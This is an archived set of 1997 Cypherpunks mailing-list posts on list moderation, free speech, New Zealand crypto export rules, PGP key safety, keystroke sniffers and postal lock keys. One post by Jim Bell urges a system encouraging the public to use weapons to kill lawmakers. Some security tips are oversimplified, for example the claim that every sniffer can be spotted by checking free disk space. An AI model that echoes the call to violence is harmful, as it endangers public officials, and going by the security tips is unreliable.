spite in the prosecution of bank fraud as it could reflect severe vigor  
and spite in the prosecution of theft.

Please note that the difference between:

"But he got the same sentence as he would have if he was convicted of 
carrying a gun in furtherance of the crime."

and

"But he got the same sentence as he would have is he was not convicted of
carrying a gun in furtherance of the crime."

is subtle at best.

Next time don't get caught stealing with a gun nearby.

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:13:17 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021013.CAA16582@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
>   What currently threatens the list, in my opinion, is not the dissension,
> but the rise of a cliquish sheep-mentality and the resulting dismissal
> of the opinions of people of Reason (and the opinions of 'anyone', in
> general, whom 'I' perceive as being on the 'other side' of an issue).
> ........................................................................
 
> Who are these sheep you're talking about?   At the end of the trial period,
> anyone still on the list who doesn't like the moderation can at their
> leisure either protest vehemently its continuation, producing masterly
> works of eloquence in favor of continuing the free-for-all, or they can
> unsubscribe (sp?).

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
 I told Attila the Hun, in private email, that when I opened his
messages, that I never knew whether to "pucker-up or duck", because
he was just as likely to chastise me as agree with me, depending
on his personal opinion of an individual post of mine.
 I regard Igor and yourself, and a number of others, in the same 
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely 
to feel the sting of your toe-nailed boots instead of soft lips.

> I think what threatens the list is the absence of really major issues to
> fire up everyone's sense of indignation & imagination, 

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.

>plus the fact that
> many of the long-timers are pretty sophisticated on all the political
> issues which have been discussed before (how many of Tim May's long
> treatises, engaging, thorough, and relevant as they may be, can one read
> yet again without recognizing the repetitive themes therein),

 Yes, but there are always members to whom these treatises and
orientation
of thought are 'new', and people only notice the repetiveness when they
are, indeed, following these posts, which means that they must be 
getting some value out of them.

> plus a lack
> of interest in engaging in rhetorical arguments with people who find it
> difficult to think in a straight line.

 I, too, agree that you can lead a horse to water, but a stitch in time
saves nine.

>  Sometimes the posts on the list
> come to resemble more attempts at educating the clueless than discussions
> among peers which could truly advance an understanding of between fine
> points of difference.

  Some of the more rambling threads are indeed the result of not
understanding that some of the clueless aren't seeking a clue, but
merely to hold on to their ignorance. But I would rather err on 
the side of believing that the person I am replying to is sincere
in wanting to discuss an issue in order to gain a broader 
understanding of it.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 02:27:39 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Cyphernomicon by Tim May
Message-ID: <199702021027.CAA16906@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Toto

  I am not speaking of the sheep-mentality in regard to moderation or
any other single issue on the list. I am speaking of the tendency of
many list-members to fall into common ruts of thought wherein the
comments and opinions of others are auto-files as this-or-that,
and interpreted in that light, no matter what the actual content
of their messages.
................................................

Hm, well, what's an anarchist to do about other people's psychological 
makeup?

=

 I regard Igor and yourself, and a number of others, in the same
light. I'm reluctant to bend over and drop my pants, waiting for
you to kiss my butt, because I realize that I am just as likely
to feel the sting of your toe-nailed boots instead of soft lips.
..........................................

Hm, well, I'm not in the custom of doing either of those things, but thanks 
for the compliment!

=

  But, under the New List Order, any strong opinion risks being
thrown in the crapper as a 'flame'.
...............................................

Not that I'm condoning centralized management, but I bet I could flame 
anyone pretty good yet by-pass the moderator.  It's all in the style, you 
know.   Some people are very delicate about what offends them - I know I 
could get on some particular people's nerves any day without trying.   An 
opportunist can take advantage of another's infirmity by being perfectly 
polite while yet excruciatingly annoying.
=

 Yes, but there are always members to whom these treatises and orientation 
of thought are 'new', and people only notice the repetiveness when they 
are, indeed, following these posts, which means that they must be getting 
some value out of them.
............................................

Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's 
commendable that he would write about the same ideas in fresh new ways, for 
the benefit of the newbies and the entertainment of the oldies.

But not everyone is as interested & willing (or have the time) to 
re-iterate this way, and  with only one or a few "holding up the ship", so 
to speak, it leaves a lot of room for wayless bickering degenerating into 
unproductive ad hominems - ad absurdum, ad nauseam.

You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division 
of History & Philosophy ....

    ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 02:15:01 -0800 (PST)
To: "Attila T. Hun" <attila@primenet.com>
Subject: Flaming Moderators
Message-ID: <199702021015.CAA16608@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:
 
>         "Let us remember that 'if we suffer tamely a lawless attack
>         upon our liberty, we encourage it, and involve others in our
>         doom.'
>             --Samuel Adams ("patriot, statesman..."), speech, 1771

  Looks like Sam needs to be autobotted to the 'flames' list.

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sun, 2 Feb 1997 02:17:03 -0800 (PST)
To: cypherpunks <gbroiles@netbox.com>
Subject: Re: Libel, Times v. Sullivan
Message-ID: <199702021017.CAA16668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970201:1452, Greg Broiles <gbroiles@netbox.com> said:

+Since we've now got Jim Bell arguing that it's obvious that a free and
+open society must tolerate anything which might be defamatory, and Jim
+Choate arguing that it's obvious that a free and open society cannot
+tolerate anything which might be defamatory,  ...

    for what it is worth, anti-defamation, Germany's anti-Holocaust 
    denial, and anti- just about anything legislation dealing with free 
    speech is of and by its very nature an abridgement of your personal 
    freedoms. If you deny one form of speech, it is easy to deny 
    another, and then another...  do you wish to march foolishly to 
    Fahrenheit 451?

    Before the current generation of government vipers and revisionists 
    remove or rewrite even more of the immortal words of history:

        "Those who deny freedom to others 
          deserve it not for themselves."
                --Abraham Lincoln

    let's look at one more famous speech on "nibbling" your rights: 

        "Let us contemplate our forefathers, and posterity, and resolve 
        to maintain the rights bequeathed to us from the former, for 
        the sake of the latter.  
  
        "Let us remember that 'if we suffer tamely a lawless attack 
        upon our liberty, we encourage it, and involve others in our 
        doom.'  It is a very serious consideration that millions yet 
        unborn may be the miserable sharers of the event."
            --Samuel Adams ("patriot, statesman..."), speech, 1771

    and:

        "The more difficult it is to interact with the government, 
        the more the government wants gun control."
            --attila

    in other words, the more they deny our inaliable right to free 
    speech, the more they need gun control before we rise against the
    usurpers of our rights.

    Now, if there ever was a liberal do-gooder, Eleanor certainly was:

        "No one can make you feel inferior without your consent." 
            --Eleanor Roosevelt

    now, does she mean what she says literally?  in other words, is
    she saying to say what you want, and she will not be harmed or 
    "feel inferior" in this case?  I can presume Eleanor could be
    offended, but is that sufficient to abridge your rights?

    Nietzsche expresses a defiant tone on first glance -no, the general 
    interpretation is absolute freedom --speech included.

        "I understand by 'freedom of Spirit' something quite definite -
            the unconditional will to say No, 
            where it is dangerous to say No."
                --Friedrich Nietzsche

    Is not the right to bear arms the same basic freedom as free 
    speech, with one limitation: improper use carries criminal 
    penalties --basically, because the act denies another his freedom.

        "The right of self-defense is the first law of nature 
        ...and when the right of the people to keep and bear arms 
        is, under any color or pretext whatsoever, prohibited, 
        liberty, if not already annihilated, 
        is on the brink of destruction."
            --St. George Tucker, 
                in his edition of Blackstone's Commentaries

    did not the Magna Carta guarantee the right of free speech?  Of 
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.

    Then, let's look at another concept of freedom and a "democracy" 

        Just because a mob calls itself a government, doesn't make it     
          so.
        Democracy is two wolves and a sheep voting on what to have for 
          dinner.
        People who claim that money doesn't matter, are usually living 
          on someone else's money.
        Society is a mental construct, formed by those people who are 
          too insecure to handle the concept of people as individuals.

    which gets down to just what the hell did my forefathers, and maybe 
    yours, fight for in 1776 if it was not for freedom of speech and 
    assembly, the right to bear arms, to be free from unreasonable 
    search and seizure; and enjoy the protection of law? 

    if we do not pick up that fight and stop corrupt governments from 
    usurping the power of the people, we will lose all freedom. If we 
    give in on _any_ of the first 10 amendments, our Bill of Rights, we 
    are surrendering our deserved personal franchise to a usurping 
    government.  and it starts with society and government trying to 
    tell us what we can freely say. 

    I may not like what you have to say, or that you insult my 
    sensibilities or my rectitude, but I will defend your right to my 
    death so that you may do so.

    Therefore:
     
        "With heart and hand I pledge you while I load my gun again, 
        you will never be forgotten or the enemy forgiven, 
        my good comrade..."
            --Anton Szandor LaVay

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Larry Johnson <lwjohnson@grill.sk.ca>
Date: Sun, 2 Feb 1997 02:25:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP 2.1
Message-ID: <199702021025.CAA16822@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello,
Can any;one tell me how to get a version of PGP 2.1?
Thanks





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 2 Feb 1997 07:14:10 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Cyphernomicon by Tim May
Message-ID: <199702021514.HAA24774@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Toto
> Hm, well, what's an anarchist to do about other people's psychological
> makeup?

  Hold up a mirror. 

> Not that I'm condoning centralized management, but I bet I could flame
> anyone pretty good yet by-pass the moderator.  It's all in the style, you
> know.   Some people are very delicate about what offends them - I know I
> could get on some particular people's nerves any day without trying.   An
> opportunist can take advantage of another's infirmity by being perfectly
> polite while yet excruciatingly annoying.

  What constitutes a 'flame' seems to depend heavily on whose mouth it
comes out of. Jim Choate called me a schizophrenic, and it seemed to
be acceptable enough to make the censored list. He tends to call 
people "Bessie", basically saying they are a Cow, and that also
seems acceptable.
  Personally, I could care less when people want to play footsie-games
with flaming, but I think it points out the ludicrousness of having
a moderator limiting people to 'childish' insults.
  I prefer someone screaming at me what a cocksucker I am.

 Ray Hettinga forwards these long, literate missives advertising
this-or-that million dollar a plate conferences, but when he chose
to insult me with his own words, the result was an immature 
blathering which showed questionable literary skills.

> Oh, I wasn't condemning Tim's posts as being repetitive and boring - it's
> commendable that he would write about the same ideas in fresh new ways, for
> the benefit of the newbies and the entertainment of the oldies.
 
> But not everyone is as interested & willing (or have the time) to
> re-iterate this way, and  with only one or a few "holding up the ship", so
> to speak, it leaves a lot of room for wayless bickering degenerating into
> unproductive ad hominems - ad absurdum, ad nauseam.

  There are some good socio/politico posts by a variety of list members
who are highly knowlegeable about a range of topics surrounding crypto,
but they tend to come sporadically.
  I suppose that this is because they actually have real lives.

> You, know, Toto, I heard that there's a vacancy in the Cypherpunk Division
> of History & Philosophy ....

  I suppose that Sandy might nominate me, just for the pleasure of 
sitting back and enjoying the flood of, "A Vote of FUCK OFF for Toto"
postings.
  It would be nice, however, to try to twist the rest of the list
around to my own world-view. It gets lonely here in the 'rubber room'
at the Home, and I could use some company.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: blanc <blancw@cnw.com>
Date: Sun, 2 Feb 1997 07:12:28 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Libel, Times v. Sullivan
Message-ID: <199702021512.HAA24745@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Attila T. Hun, member of the Early Bird Consortium of Stray Cats, 
quoting from the Pages of History:

    did not the Magna Carta guarantee the right of free speech?  Of
    course, there was not full suffrage at that time, but the Magna
    Carta is the basis of our common law.
		[and...]
    which gets down to just what the hell did my forefathers, and maybe
    yours, fight for in 1776 if it was not for freedom of speech and
    assembly, the right to bear arms, to be free from unreasonable
    search and seizure; and enjoy the protection of law?
................................................

Yes, if the Magna Carta guaranteed a right and the forefathers fought to 
secure it, why should any of us ever have to lift a finger in our own 
defense.

My contribution to this thread from the Cpunk History & Philosophy 
Division:   a Jewish saying from a book I glanced through of couple of 
weeks ago, something like:

	"What good is it to a man who has lost his sight
	  that his ancestors had perfect vision."

    ..
Blanc








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Sun, 2 Feb 1997 02:13:26 -0800 (PST)
To: "Z.B." <zachb@netcom.com>
Subject: Re: Key Security Question
Message-ID: <199702021013.CAA16583@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Jan 1997 15:37:01 -0500, you wrote:

>My computer went into the shop a few days ago, and I was unable to take 
>my PGP keys off it before it went in.  What are the security risks here?  
>If the repairman chooses to snoop through the files, what would he be 
>able to do with my key pair?  Will I need to revoke the key and make a 
>new one, or will I be relatively safe since he doesn't have my 
>passphrase?  

Depends how paranoid you are, how  good your passphrase is, how much you
trust the repairman not to snoop, etc.

For the hell of it I'd revoke my key and issue a new one though. It's
not a minor inconvenience, and when people use your old key you can still
decrypt the message... just send 'em a note that you prefer they use you're
current (unrevoked) key.

--Rob







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz
Date: Sat, 1 Feb 1997 09:40:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto in New Zealand - an update
Message-ID: <199702011740.JAA21968@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is a continuation of the article I posted here a few weeks ago.  You can
find the whole thing at http://jya.com/nsazeal.htm.
 
Peter.
 
-- Snip --
 
On the 17th January significant parts of this story appeared on the front page
of the National Business Review (NBR), a fairly influential paper read by
(apparently) half the NZ business world.  The GCSB declined to comment on
anything except to acknowledge that there had been a meeting between a GCSB
person and the manager of Orion Systems.  The story also confirms (from talking
to some of the people involved) the GCSB - MFAT and GCSB - DSD connections.
 
The following week Andrew Mayo wrote a letter to the editor of the NBR
containing an eloquent defense of the use of encryption to protect personal
privacy.  MFAT replied to say that they were only following orders, and were
required by the Wassenaar agreement to restrict crypto exports:
 
  "Export permits normally were required only if the encryption was 40-bit or
   stronger, so most commercial encryption would not be affected".
 
I wonder where the 40-bit limit suddenly came from?  Note also the phrasing
"40-bit or stronger".  This means that anything including 40 bits is
restricted.  If they're going to try to blindly parrot US policy then they
should at least get their facts straight.
 
A few days later I found someone who knew what to ask for in order to get a
copy of the NZ export regulations.  I called MFAT and talked to a gentleman by
the name of John Borrie, who had recently taken over responsibility for this
affair from someone else who, to put it mildly, had been annoying to deal with.
I suggested to him that the GCSB were feeding him just the information they
wanted him to know and no more, and that perhaps he should avail himself of
alternate sources of advice.  He didn't see it quite that way.
 
The export regulations are identical to the Australian regulations, even down
to the layout style.  A few of the fonts differ, but that may be due to
different systems/printers/whatever.  There are several obvious holes in these
regulations, but I won't mention them now because they'll probably be used in
court fairly soon.
 
The following week the story was again on the front page of the NBR.  This time
the story covered the financial difficulties that Cyphercom had been plunged
into.  Because MFAT had stopped them from having any access to their product
for nine months, the company was considering filing for bankruptcy.  MFAT
spokesperson Caroline Forsyth commented:
 
  "US controls on the export of strategic goods are at least as strict as those
   of New Zealand... an export permit would normally only be required for
   encryption if it was 40-bit or stronger.  Most commercial encryption is well
   below 40-bit strength.  Almost all New Zealand exporters of software are
   unaffected".
 
The confused and nonsensical nature of these statements presents a scary
picture.  MFAT are a government department who (in this area) have no idea what
they're doing, but don't know that they have no idea.  Combined with the
sterling advice they seem to be getting from the GCSB, this could make them a
tough nut to crack.
 
In anticipation of what MFAT would say, I wrote a letter to the NBR editor
(which won the "Letter of the Week" award :-) which refuted their claims.  The
letter ended with:
 
  It appears that MFAT's position is based on an antiquated outlook which
  regards software to secure electronic commerce as some form of special
  military technology, a position which might have been reasonable a few
  decades ago but is totally out of touch with the modern use of computers and
  electronic communications.  In their October 1996 "Business File", MFAT claim
  that "New Zealand... is helping to limit the spread of increasingly
  sophisticated military technology and weapons of mass destruction".  Whether
  mass-market commercial software which protects financial transactions and
  medical records counts as "sophisticated military technology" or "weapons of
  mass destruction" is unclear (I suppose it's possible to beat someone to
  death with a floppy disk if you were very determined, but that hardly
  qualifies as "mass destruction").
 
  Finally, one of the goals of the Wassenaar agreement was to "not impede bona
  fide civil transactions", which MFAT have certainly done, and are continuing
  to do.  In the meantime anyone with a credit card and phone, or the ability
  to walk into a software store, can buy the same software overseas.  Stopping
  New Zealand companies from exporting widely available mass-market computer
  software of this kind "because terrorists might use it" makes about as much
  sense as stopping farmers from exporting beef and lamb "because terrorists
  might eat it".
 
  The issue of Management Technology Briefing included with last weeks NBR
  reports on page 22 that there will be "a US$186 billion market in global
  transactions by the year 2000", along with a comment that securing these
  transactions - one of the goals cryptlib was designed for - remains a problem
  area.  Within the next few years the push towards electronic commerce will
  become a veritable steamroller.  By needlessly blocking the export of the
  technology required to secure this market, MFAT is helping ensure that New
  Zealand becomes part of the roadkill.
 
MFAT's parting shot was:
 
  "People trying to export encryption without clearance can be prosecuted under
   the Customs and Excise Act".
 
I should certainly hope so!  It's going to be difficult creating a test case to
get this nonsense thrown out if they refuse to prosecute me.
 
Stay tuned, this is going to get entertaining...
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rob <wlkngowl@unix.asb.com>
Date: Sun, 2 Feb 1997 02:11:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: NOISE.SYS Home Page
Message-ID: <199702021011.CAA16500@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




I now have an under-construction home page for NOISE.SYS, in case
you're interested:

  http://www.asb.com/usr/wlkngowl/software.htm#noise

(NOISE.SYS is a crypto-RNG device for DOS boxes.)

Rob


-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Sun, 2 Feb 1997 07:10:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS Can't Compete
Message-ID: <199702021510.HAA24723@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Note proof that government agencies are running up against serious problems
competing with market actors even though they have the guns.  

- From today's NYT:
February 1, 1997
Leaders of I.R.S. Panel Urge Sweeping Overhaul of Agency

By DAVID CAY JOHNSTON

The IRS had publicly defended its management of computer modernization until Thursday, when Arthur A. Gross, who was hired last year as an assistant commissioner of the agency to rescue the effort, told the restructuring commission that the new systems being developed "do not work in the real world."

Gross also said the IRS lacked the "intellectual capital" to modernize.

["intellectual capital" = brains]

Kerrey said that although the modernization project was bigger than any corporate computer system the government would have a hard time hiring the necessary talent to manage the project. "The market is bidding up the price for people who have these skills, and we just can't dole out big salaries," he said.

Executives who oversee information systems make as much as $378,000 in salary and bonuses, according to William M. Mercer, the nation's largest pay consulting firm. That is more than twice the highest federal salary and bonus, and corporate information executives typically also get options and other incentive payments.

******************

Translation - since the Feds can't afford to pay CIOs what they're worth, and
governments don't offer stock options, they can't get the talent they need
to keep up with the market.  We are talking about senior management here.
If they try and respond by contracting senior management out, eventually the
institution disappears as a government institution.  

DCF
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMvSCgYVO4r4sgSPhAQHhYAP+N80RhT0efc2seO+P99WLVYMJ8/1Q1R7e
CkLY8guJw2PnuQlaGG3lj14mYvTPMitZFsQ4pFnkSzzyF57QN4nXPbXajkNeWao+
Kcr2T3TJa5gZcGv309/I7FbZp2MfaugEjyNoielY12q9qsyuJyCv1l4Uh1L/tq9c
wEKoLyMoh5U=
=orfk
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 3 Feb 1997 11:57:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702031957.LAA00537@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> > 
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.

Face it, the only solution is to wrap your computer, cat, family, car 
and yourself in aluminium foil and burn your hard disk whilst 
chanting "yamma yamma yamma yaaaaamaa"


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Sun, 2 Feb 1997 07:55:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
Message-ID: <199702021555.HAA25423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Bill Stewart <stewarts@ix.netcom.com> writes:
> > > On the other hand, if the "repairman" replaced your pgp executable
> > > with version 2.6.3kgb, which uses your hashed passphrase as the
> > > session key, you're hosed.  Or if he installed a keystroke sniffer,
> > > or added a small radio transmitter to your keyboard, or whatever.
> > > Depends on your threat model.  If you need to be paranoid,
> > > they've already gotten you....
> >
> > If you're really paranoid, you can boot from a clean floppy and
> > reinstall everything from your backup tapes. You do have a
> > contingency plan in case your hard disk goes bad, or gets a
> > virus, don't you? Well, if you're in doubt, exercise it.
>
> And what if the repairman replaces BIOS ROM chips with KGBios?

On some computers it's possible to add executable code to the boot
sequence without replacing the actual ROM chip because they're
rewritiable. Examples: most Sun boxes; intel motherboards with
'flash bios'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Sun, 2 Feb 1997 10:25:44 -0800 (PST)
To: Scott <scott-b@ix.netcom.com>
Subject: Re: Keystroke sniffer question
Message-ID: <199702021825.KAA28058@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 1 Feb 1997, Scott wrote:

> How can you detect if there is a keystroke sniffer on your computer.
> 
All sniffers have to write to disk at some point.  You can detect one by 
checking to see how much disk space you have (DIR on MSDOS), typing a few 
lines of random characters, and check your disk space again.  If it's 
gone down a little, then you probably have one.

> Is there a file name to look for?

Try checking in your TEMP directory...the few ones that I've seen default 
to creating an invisible file in that directory.
 
> Where do people get them?

They either buy them or write them.




Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@homer.sonetis.com>
Date: Sun, 2 Feb 1997 07:55:48 -0800 (PST)
To: harka@nycmetro.com
Subject: Re: Trigger-Words...
Message-ID: <199702021555.HAA25437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 29 Jan 1997, harka@nycmetro.com queried:

> Actually, I might not have chosen the correct words for what I
> wanted...
> I am looking for sniffer-programs, that analyze e-mail traffic on
> the Net and filtering out all e-mails potentially interesting for
> _intelligence services_. For example, I've heard, that if an e-mail
> contains the words: "assassinate President" (DISCLAIMER: I hope, our
> President lives a long and happy life, even after his
> impeachment...:)), it will automatically get filtered and checked
> out by the Secret Service.
> Different intelligence agencies might have similar things in place.
> Where could I get some more information about that?

Many Un*xes (SunOS, Solaris, IRIX, Linux, and probably others) have
included their own versions of sniffers, supposedly for network
debugging. These are typically called something like "tcpdump",
"etherfind", "snoop", etc.

You would need to run a sniffer at a "choke point" of an
organisation, for example the external router to the Internet, to
capture all of the packets to / from that organisation.  Putting a
sniffer on some arbitrary router out there in cloud-land would
probably not be all that productive, since there's no guarantee that
all of the IP packets carrying a given TCP connection would take the
same route. 

Cynthia

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAwUBMvSyq5Og7xGCJGQtAQFJPwQAiXbxtfdfVEDL5ZHdktdy6bfH/Wmio3oU
J1bYKpfwY4H4NnIoXipGF+oo48Pe4j8x46UneVZ8d4ZsSy93/JsvmQw38TxSj/8o
cPbtIaagBw9eofsdimzlwx9Y0VvaTRWt+2Cjd8aQKmG5nwUBSF9BlFoX2/TU3QZY
IP+hiecLaag=
=rHlB
-----END PGP SIGNATURE-----
===============================================================
Cynthia H. Brown
Ottawa, Ontario, Canada
E-mail:     cynthb@sonetis.com
Home Page:  http://www.sonetis.com/~cynthb/
PGP Key:    See Home Page

Junk mail will be ignored in the order in which it is received.

  It is morally as bad not to care whether a thing
  is true or not, so long as it makes you feel
  good, as it is not to care how you got your money
  as long as you have got it.

        - Edmund Way Teale, "Circle of the Seasons"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Roy M. Silvernail" <roy@sendai.scytale.com>
Date: Sun, 2 Feb 1997 22:12:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Secret" Postal Device stolen
Message-ID: <199702030612.WAA14298@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In list.cypherpunks, toto@sk.sympatico.ca writes:

>> >>>Postal Service offers $25,000 reward for stolen . . . something

>   Mail carriers in some areas carry keys for buildings with security
> doors (sometimes Master keys).

In Minneapolis and Anchorage (the two cities of which I have knowledge)
mail carriers have a key that opens not only apartment-style mailboxes,
but little boxes on the outside of apartment buildings that hold a key
to the building's lobby.  Snag one of those keys and a large portion of
the city opens its doors to you.  (some buildings have further locked
doors beyond the mailbox lobby to counter this threat)
- -- 
           Roy M. Silvernail     [ ]     roy@scytale.com
DNRC Minister Plenipotentiary of All Things Confusing, Software Division
PGP Public Key fingerprint =  31 86 EC B9 DB 76 A7 54  13 0B 6A 6B CC 09 18 B6
      Key available from pubkey@scytale.com, which works now

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvTEUxvikii9febJAQEMEwP+Ji/B1z7uYSJspTij6xH2jUn/JMXmJ7RF
drUZruHZNxQv3xGHOPbf4nerDqANgYe/6DzZdrNRhP5RgYTPZp4K1gHDRLhyKAZL
EriifeqlXe9X69EDCXSJr8nVSEP1XlSoI2cc9nMFyG42Mwg0Do52WdvhBbZtiM8I
zKo9v+3VOqg=
=O4dL
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Sun, 2 Feb 1997 08:55:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199702021655.IAA26447@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone using the Huge Cajones mailer wrote:

   David Lesher <wb8foz@nrk.com> writes:

   > USPS uses key locks seemingly designed by Ben Franklin himself.
   > Look at them someday. FedEx boxes used to have Simplex 926
   > 5 pushbutton ""locks"" if you stretch the point.

Still did last I checked.

   Don't let the old-fashioned look deceive you.  Most mail storage boxes
   use lever tumbler locks (similar to what's used in safe deposit
   vaults, though obviously the mailbox locks have a flimsier plug).

How is that obvious?  Safe deposit locks generally aren't designed to
be hard to open, just hard to open without damage.  There's always
either a guard or a locked vault door protecting the locks.
Mailboxes, on the other hand, generally aren't kept under guard or in
vaults.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 2 Feb 1997 14:25:44 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <199702022225.OAA03364@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:56 AM 2/2/97 -0500, Black Unicorn wrote:

>Please note that the difference between:
>
>"But he got the same sentence as he would have if he was convicted of 
>carrying a gun in furtherance of the crime."
>
>and
>
>"But he got the same sentence as he would have is he was not convicted of
>carrying a gun in furtherance of the crime."
>
>is subtle at best.
>
>Next time don't get caught stealing with a gun nearby.


Better yet, set up a system to encourage the public to USE those guns (and 
other weapons) to get rid of the people who pass such laws, and the problem 
is solved.


Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Henderson <mch@squirrel.com>
Date: Sun, 2 Feb 1997 14:25:46 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
Message-ID: <199702022225.OAA03367@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Larry Johnson writes:
> Hello,
> Can any;one tell me how to get a version of PGP 2.1?
> Thanks
> 

If you are a U.S./Canadian person in the U.S. or Canada you can get 2.1
